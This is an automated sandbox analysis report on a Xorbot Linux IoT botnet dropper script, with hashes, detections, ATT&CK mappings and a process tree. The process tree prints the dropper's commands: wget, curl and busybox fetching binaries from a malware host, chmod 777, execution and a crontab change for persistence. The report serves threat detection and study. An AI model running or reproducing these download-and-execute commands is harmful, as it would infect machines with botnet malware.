xorbot | 67fb57dc230fd70fdae2f18e1bf44b691a40dc151334bf7d5e95322e60466aa1

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
28/02/2025, 05:20

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General

Target

bins.sh
Size

10KB
MD5

97982e7de5b089918c84f5769ac0eda3
SHA1

6e77d8eaa36a9266927f0df9223d11d8808101b7
SHA256

67fb57dc230fd70fdae2f18e1bf44b691a40dc151334bf7d5e95322e60466aa1
SHA512

43c04300d6151b49107a0bc06e8a1eda6a74ba3367ee27933744e882cd51859a0069ec4248ea40b477307795cabb8d3c16ef467c1a5e0879a2b1fb1b45fde454
SSDEEP

192:u4AFWyxBRpm/DWgxh237Ix3ShrKLxh237sk4AFWyxJRpm/DIa:u4AFWyxBRpm/DWgxh237Ix3ShrKLxh2K

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1504	chmod
1519	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	1505	bins.sh
/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc	1520	bins.sh

Renames itself 1 IoCs

pid	Process
1506	XQw82vXECRUV429SDvD0heUyhUITAYsq7p

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.YugpTu	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1511/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/85/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/159/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/169/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/316/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/407/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/648/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/929/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1131/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/19/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/32/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/165/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/174/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1106/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1467/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1512/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/946/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/78/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/529/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1154/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1328/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/8/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/12/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/27/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1032/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1215/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1298/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/79/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/172/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/950/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1136/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1173/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1514/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/83/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/474/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1055/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1159/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1498/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1513/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/458/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/528/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1278/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1336/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/11/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/80/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/162/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/202/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1218/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1495/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1523/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/28/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1073/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1172/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/18/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/160/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/489/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/699/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1052/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/24/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/34/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/35/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/582/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1141/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p

System Network Configuration Discovery 1 TTPs 7 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1516	curl
1518	busybox
1523	wget
1497	wget
1501	curl
1503	busybox
1515	wget

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	busybox
File opened for modification	/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc	wget
File opened for modification	/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc	busybox
File opened for modification	/tmp/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT	wget
File opened for modification	/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	wget
File opened for modification	/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:1495
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1496
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1497
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1501
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1503
- /bin/chmod
  chmod 777 XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - File and Directory Permissions Modification
  PID:1504
- /tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  ./XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:1505
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1507
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1508
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1509
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1510
- /bin/rm
  rm XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  PID:1512
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1515
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - System Network Configuration Discovery
  PID:1516
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1518
- /bin/chmod
  chmod 777 PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - File and Directory Permissions Modification
  PID:1519
- /tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  ./PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  PID:1520
- /bin/rm
  rm PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  PID:1522
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1523

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT

Filesize
14KB

MD5
e7bbb35dddf65c4332213bbffe845e92

SHA1
315b6ea16dbc232ef0c048314bf37bd9580b907e

SHA256
81c5043439a091604d582b4f0714f3c6c1906707f35ab4d3a0d9712432ec077d

SHA512
5547a15e4e293fb7f8bc8d45a45f285e3f6e61374a526e38c712ee09e18964199f02f66435d06c4f06b31238a45cd630426407829ad399cc5ec8f8465d7231f4

Download Submit
/var/spool/cron/crontabs/tmp.YugpTu

Filesize
210B

MD5
8a9dca4d41f359b86ccb0a56c1279efa

SHA1
e545d116bae17af45c224cbaa28afd0016fae6d9

SHA256
c6a08379cb88196661d5a32aecc9aa63d45f99f3ab50876cea9837c2bb5a3265

SHA512
9e6e65790ea1b4b13ae146eb078c6ad06d8ecceb399a43e4e5722e1511614b8ec900b02684f47a4568d48b5a9a2c934a4897a9cd25b2e0aadbf7769c9a1bbf45

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads